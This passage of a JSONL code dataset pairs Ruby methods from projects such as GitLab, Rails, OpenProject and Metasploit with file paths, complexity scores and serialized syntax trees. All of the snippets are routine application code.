end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"should_allow_commenting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line_holder\"]},{\"type\":\"optarg\",\"children\":[\"diff_side\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"asset_form_reset\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_comment_on_line\",{\"type\":\"lvar\",\"children\":[\"line_holder\"]},{\"type\":\"lvar\",\"children\":[\"diff_side\"]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Add comment now\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]},{\"type\":\"send\",\"children\":[null,\"assert_comment_persistence\",{\"type\":\"lvar\",\"children\":[\"line_holder\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"asset_form_reset\"]},{\"type\":\"lvar\",\"children\":[\"asset_form_reset\"]}]}]}]}]}]}","id":"d09fe05e-aea5-4e91-bdca-61503942a7b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/proxy/service_data_proxy.rb","start_line":3,"raw_source":"def services(opts = {})\n    begin\n      self.data_service_operation do |data_service|\n        add_opts_workspace(opts)\n        data_service.services(opts)\n      end\n    rescue => e\n      self.log_error(e, 'Problem retrieving services')\n    end\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"services\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data_service_operation\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_service\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_service\"]},\"services\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_error\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Problem retrieving services\"]}]}]},null]}]}]}","id":"dbd83dd3-199a-422b-adc1-de4871aa5708"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/articles/builder.rb","start_line":9,"raw_source":"def initialize(user, tag, prefill)\n      @user = user\n      @tag = tag\n      @prefill = prefill\n\n      @editor_version2 = @user&.setting&.editor_version == \"v2\"\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"prefill\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tag\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@prefill\",{\"type\":\"lvar\",\"children\":[\"prefill\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@editor_version2\",{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"setting\"]},\"editor_version\"]},\"==\",{\"type\":\"str\",\"children\":[\"v2\"]}]}]}]}]}","id":"438d3f7d-9550-48de-b11b-3a7cc68597da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_project_id_to_security_scans.rb","start_line":44,"raw_source":"def bulk_update!(tuples)\n        return if tuples.blank?\n\n        values_sql = Arel::Nodes::ValuesList.new(tuples).to_sql\n\n        sql = <<~SQL\n          UPDATE\n            security_scans\n          SET\n            project_id = tuples.project_id,\n            updated_at = NOW()\n          FROM\n            (#{values_sql}) AS tuples(scan_id, project_id)\n          WHERE security_scans.id = tuples.scan_id;\n        SQL\n\n        Scan.connection.execute(sql)\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"bulk_update!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tuples\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tuples\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"values_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"ValuesList\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tuples\"]}]},\"to_sql\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE\\n\"]},{\"type\":\"str\",\"children\":[\"  security_scans\\n\"]},{\"type\":\"str\",\"children\":[\"SET\\n\"]},{\"type\":\"str\",\"children\":[\"  project_id = tuples.project_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  updated_at = NOW()\\n\"]},{\"type\":\"str\",\"children\":[\"FROM\\n\"]},{\"type\":\"str\",\"children\":[\"  (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values_sql\"]}]},{\"type\":\"str\",\"children\":[\") AS tuples(scan_id, project_id)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE security_scans.id = tuples.scan_id;\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"connection\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}","id":"bdce3d5b-bf8a-4e77-9ed7-19d992fb58ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit_signatures/ssh_signature.rb","start_line":19,"raw_source":"def key_fingerprint_sha256\n      super || key&.fingerprint_sha256\n    end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"key_fingerprint_sha256\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]},\"fingerprint_sha256\"]}]}]}","id":"e4c8de66-6423-4daa-bb29-c1be8d25112d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/delegator_override/validator.rb","start_line":41,"raw_source":"def expand_on_ancestors(validators)\n          delegator_class.ancestors.each do |ancestor|\n            next if delegator_class == ancestor # ancestor includes itself\n\n            validator_ancestor = validators[ancestor]\n\n            next unless validator_ancestor\n\n            add_allowlist(validator_ancestor.allowed_method_names)\n          end\n        end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_on_ancestors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"validators\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delegator_class\"]},\"ancestors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ancestor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delegator_class\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ancestor\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"validator_ancestor\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validators\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ancestor\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validator_ancestor\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_allowlist\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validator_ancestor\"]},\"allowed_method_names\"]}]}]}]}]}","id":"15b499ac-1ad7-40a0-a509-dbf8cf8c3bfd"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twitter/send_on_twitter_service.rb","start_line":44,"raw_source":"def reply_to_message\n    @reply_to_message ||= if message.in_reply_to\n                            conversation.messages.find(message.in_reply_to)\n                          else\n                            conversation.messages.incoming.last\n                          end\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_to_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reply_to_message\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"in_reply_to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"messages\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"in_reply_to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"messages\"]},\"incoming\"]},\"last\"]}]}]}]}","id":"b222935b-15f7-4286-8727-e0f398f8f3f9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/multiple_numeric_list_partition.rb","start_line":75,"raw_source":"def before?(partition_id)\n          partition_id > values.max\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"before?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition_id\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"max\"]}]}]}","id":"69a90d4a-4160-4a55-a3f2-b3f525318e95"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/encryption/encryption.rb","start_line":79,"raw_source":"def keyivgen(cipher, password, salt)\n        keyIv = ::OpenSSL::KDF.pbkdf2_hmac(password, salt: salt, iterations: 10_000, length: 32 + 12 + 24, hash: \"sha256\")\n        key = keyIv[0..31]\n        iv = keyIv[32..43]\n        auth_data = keyIv[44..-1]\n        cipher.key = key\n        cipher.iv = iv\n        cipher.auth_data = auth_data\n      end","complexity_score":15.05,"ast_json":"{\"type\":\"def\",\"children\":[\"keyivgen\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cipher\"]},{\"type\":\"arg\",\"children\":[\"password\"]},{\"type\":\"arg\",\"children\":[\"salt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keyIv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenSSL\"]},\"KDF\"]},\"pbkdf2_hmac\",{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"salt\"]},{\"type\":\"lvar\",\"children\":[\"salt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iterations\"]},{\"type\":\"int\",\"children\":[10000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[32]},\"+\",{\"type\":\"int\",\"children\":[12]}]},\"+\",{\"type\":\"int\",\"children\":[24]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"str\",\"children\":[\"sha256\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyIv\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[31]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"iv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyIv\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[32]},{\"type\":\"int\",\"children\":[43]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyIv\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[44]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"iv=\",{\"type\":\"lvar\",\"children\":[\"iv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"auth_data=\",{\"type\":\"lvar\",\"children\":[\"auth_data\"]}]}]}]}","id":"b7097edb-8734-49f6-80d6-8a7f16ea0f5e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/nodes/ast_test.rb","start_line":37,"raw_source":"def test_contains_glob\n          tree = Journey::Parser.new.parse(\"/*glob\")\n          ast = Ast.new(tree, true)\n\n          assert_predicate ast, :glob?\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_contains_glob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tree\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journey\"]},\"Parser\"]},\"new\"]},\"parse\",{\"type\":\"str\",\"children\":[\"/*glob\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ast\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ast\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tree\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"ast\"]},{\"type\":\"sym\",\"children\":[\"glob?\"]}]}]}]}","id":"afa35c90-af3a-4bcb-9548-d778e53d509d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/relationship_mixin.rb","start_line":309,"raw_source":"def is_childless?\n    return call_ancestry_method(:is_childless?) if use_ancestry?\n\n    relationships.all?(&:is_childless?)\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"is_childless?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_ancestry?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_ancestry_method\",{\"type\":\"sym\",\"children\":[\"is_childless?\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relationships\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_childless?\"]}]}]}]}]}","id":"b6950918-3256-4efd-a376-cfcd08f5cea6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/activity_pub/collection_serializer.rb","start_line":29,"raw_source":"def represent_page(resources, page, opts)\n      resources = paginator.paginate(resources)\n      opts[:page] = page\n      serialized = base_represent(resources, opts)\n\n      {\n        :@context => 'https://www.w3.org/ns/activitystreams',\n        type: 'OrderedCollectionPage',\n        id: collection_url(page),\n        prev: page > 1 ? collection_url(page - 1) : nil,\n        next: page < resources.total_pages ? collection_url(page + 1) : nil,\n        partOf: collection_url,\n        orderedItems: serialized\n      }\n    end","complexity_score":19.25,"ast_json":"{\"type\":\"def\",\"children\":[\"represent_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resources\"]},{\"type\":\"arg\",\"children\":[\"page\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resources\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paginator\"]},\"paginate\",{\"type\":\"lvar\",\"children\":[\"resources\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"lvasgn\",\"children\":[\"serialized\",{\"type\":\"send\",\"children\":[null,\"base_represent\",{\"type\":\"lvar\",\"children\":[\"resources\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"@context\"]},{\"type\":\"str\",\"children\":[\"https://www.w3.org/ns/activitystreams\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"OrderedCollectionPage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"collection_url\",{\"type\":\"lvar\",\"children\":[\"page\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prev\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"collection_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"next\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"total_pages\"]}]},{\"type\":\"send\",\"children\":[null,\"collection_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partOf\"]},{\"type\":\"send\",\"children\":[null,\"collection_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"orderedItems\"]},{\"type\":\"lvar\",\"children\":[\"serialized\"]}]}]}]}]}","id":"0e85de4e-e39a-4514-84e8-1e65bc7ca0aa"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/generator.rb","start_line":225,"raw_source":"def generate_custom_method_results(options = {})\n    if db_class.respond_to?(custom_results_method)\n      # Use custom method in DB class to get report results if defined\n      results, ext = db_class.send(custom_results_method, db_options[:options].merge(:userid      => options[:userid],\n                                                                                     :ext_options => ext_options,\n                                                                                     :report_cols => cols))\n    elsif respond_to?(custom_results_method)\n      # Use custom method in MiqReport class to get report results if defined\n      results, ext = send(custom_results_method, options)\n    else\n      raise _(\"Unsupported report type '%{type}'\") % {:type => db_options[:rpt_type]}\n    end\n    # TODO: results = results.select(only_cols)\n    extras.merge!(ext) if ext && ext.kind_of?(Hash)\n    results\n  end","complexity_score":48.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_custom_method_results\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_class\"]},\"respond_to?\",{\"type\":\"send\",\"children\":[null,\"custom_results_method\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\"]},{\"type\":\"lvasgn\",\"children\":[\"ext\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_class\"]},\"send\",{\"type\":\"send\",\"children\":[null,\"custom_results_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"options\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ext_options\"]},{\"type\":\"send\",\"children\":[null,\"ext_options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report_cols\"]},{\"type\":\"send\",\"children\":[null,\"cols\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"send\",\"children\":[null,\"custom_results_method\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\"]},{\"type\":\"lvasgn\",\"children\":[\"ext\"]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"send\",\"children\":[null,\"custom_results_method\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unsupported report type '%{type}'\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rpt_type\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extras\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"ext\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}","id":"2431755d-5ed0-4e5b-ad98-21c969c397e4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/wizard.rb","start_line":61,"raw_source":"def steps\n      steps_by_name.values\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"steps\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"steps_by_name\"]},\"values\"]}]}","id":"4a8c6e55-3320-46b3-bd78-510cdd32094f"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":52,"raw_source":"def test_post\n    path = \"/index\"; params = \"blah\"; headers = { location: \"blah\" }\n    assert_called_with @session, :process, [:post, path], params: params, headers: headers do\n      @session.post(path, params: params, headers: headers)\n    end\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_post\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"str\",\"children\":[\"/index\"]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"str\",\"children\":[\"blah\"]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"str\",\"children\":[\"blah\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"ivar\",\"children\":[\"@session\"]},{\"type\":\"sym\",\"children\":[\"process\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session\"]},\"post\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}]}]}]}","id":"a2a17ceb-b036-4a67-b629-88bb501c45dc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/report/styles.rb","start_line":91,"raw_source":"def styles_asset_path\n    File.dirname(File.expand_path(__FILE__))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"styles_asset_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"(method)\"]}]}]}]}","id":"8c07d0bc-3c8d-4ea6-b455-2f5c7b2ee529"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/eager_loading/base.rb","start_line":34,"raw_source":"def initialize(work_packages, **options)\n            self.work_packages = work_packages\n            options.each do |key, value|\n              send(:\"#{key}=\", value) if respond_to?(:\"#{key}=\")\n            end\n          end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"work_packages=\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]}]}]}","id":"2b0edf4f-3634-41ec-86d1-cf8a74292f45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/import_export/wait_relation_exports_worker.rb","start_line":43,"raw_source":"def relation_exports_with_status(status)\n        @relation_exports.select { |relation_export| relation_export.status == status }\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"relation_exports_with_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_exports\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation_export\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_export\"]},\"status\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}","id":"07f0cd12-6f53-4fd1-a39e-57ea23b4e1a1"}
